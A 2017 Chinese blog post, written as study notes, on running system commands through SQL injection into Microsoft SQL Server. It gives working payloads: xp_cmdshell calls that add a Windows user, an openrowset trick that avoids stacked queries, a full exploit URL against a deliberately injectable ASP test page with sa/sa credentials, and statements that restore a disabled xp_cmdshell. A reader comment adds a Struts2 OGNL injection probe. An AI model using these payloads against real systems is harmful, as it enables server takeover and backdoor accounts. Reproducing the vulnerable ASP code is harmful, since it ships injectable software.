MSSQL注入两种执行命令的方法

作者: Luan 分类: 学习笔记 发布时间: 2017-05-25 12:18

以前遇到了一个站,Php+Mssql,不能多语句执行,就是找不到不用多语句来执行命令的方法。

其实大牛早就玩烂的东西,在自己博客做个总结笔记。

1.能多语句。

;exec xp_cmdshell('net user luan$ lu4n.com /add');--

这个方法应该都知道,没什么可说的,图也不配了。

 

2.不能多语句。

这个不能多语句的原因,可能是网站过滤了分号,也可能是连接数据库的时候就限制了不能多语句执行。反正以前就是觉得很蛋疼的情况了。

select * from openrowset('sqloledb','trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''net user luan lu4n.com /add''')

这种情况,只要能带入下面这个sql语句即可调用xp_cmdshell,或者其他的存储过程
而且这方法还能得到执行命令的回显。

我的测试环境:

Win2003

IIS6

SqlServer 2000

mssqli.asp:

<%
 dim sql
 sql ="select * from spt_values where name='"&request("name")&"'"
 sql = replace(sql,";","")
 set conn=server.createobject("adodb.connection")
 conn.open "provider=sqloledb;source=local;uid=sa;pwd=sa;database=master"
 set rs=server.createobject("adodb.recordset")
 rs.open sql,conn,3,2
 Do While not rs.EOF
  response.write rs("name")
  rs.MoveNext
 Loop
 rs.close()
 conn.close()
%>

测试前:

exp1:

http://192.168.52.136/mssqli.asp?name=rpc'and 'lu4n.com'=(select * from openrowset('sqloledb','trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''net user luan lu4n.com /add'''))--

截图:

看截图是报错了,但是子查询已经完成了,命令已经执行了,只是直接这样子拿不到回显。报错注入如何回显可以参考大牛的文章

测试后:

 

sqlmap最新版里居然没有这个方法,而我在国内的很老的文章里就看到了这个方法…

sqlmap里有个功能mssql注入能切换身份来执行sql语句,但是需要其他用户的账号密码。

 

================================2017.05.26 13:12补充===============

如果xp_cmdshell未开启的问题。

测试环境还是sqlserver2000,高版本差不多。

1.关掉xp_cmdshell:

Use Master;
Exec sp_dropextendedproc N'xp_cmdshell' ;

2.测试之前的exp:

select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:''');


肯定是失败了的。那么是不是就必须用多语句注入去开启呢?答案肯定是不需要的。

3.开启xp_cmdshell的exp:
这是sql2000的,高版本的其他的方法百度一大把。

select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off Exec sp_addextendedproc N''xp_cmdshell'', N''xplog70.dll''');


可以看到爆了一个这个错误。这个错误也就说明sql语句已经成功执行了。
同理别的版本的数据库恢复xp_cmdshell,也就是替换对应位置的SQL语句依次执行。

 

 

=====================================================

另外今天发了两篇文章,刚刚看留言才发现,我的服务器时间出了点问题,导致文章时间显示是昨天,现在已经同步好了。

不知道别人那里的采集器采集过去,是不是也会显示是昨天的文章…

2017.05.26 13:28

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

4条评论
  • angelina

    2017年5月27日 下午7:44

    ‘+(#context[\”xwork.MethodAccessor.denyMethodExecution\”]=new java.lang.Boolean(false),#_memberAccess[\”allowStaticMethodAccess\”]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=’814F60BD-F6DF-4227-‘,#b_str=’86F5-8D9FBF26A2EB’,#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())+’

  • angelina

    2017年5月27日 下午7:44

    angelina

  • 向大牛学习

    2017年5月25日 下午1:30

    满满的干货,但是如果xp_cmdshell未开启,好像这个办法就不能直接调用了,还是得多语句执行开启xp_cmdshell才能这个调用?这个有办法解决?

    1. Luan

      2017年5月26日 下午1:30

      这个写文章的时候没有想,现在补充到文章了。
      喜欢我的博客话,欢迎ctrl+d收藏。

发表评论

电子邮件地址不会被公开。 必填项已用*标注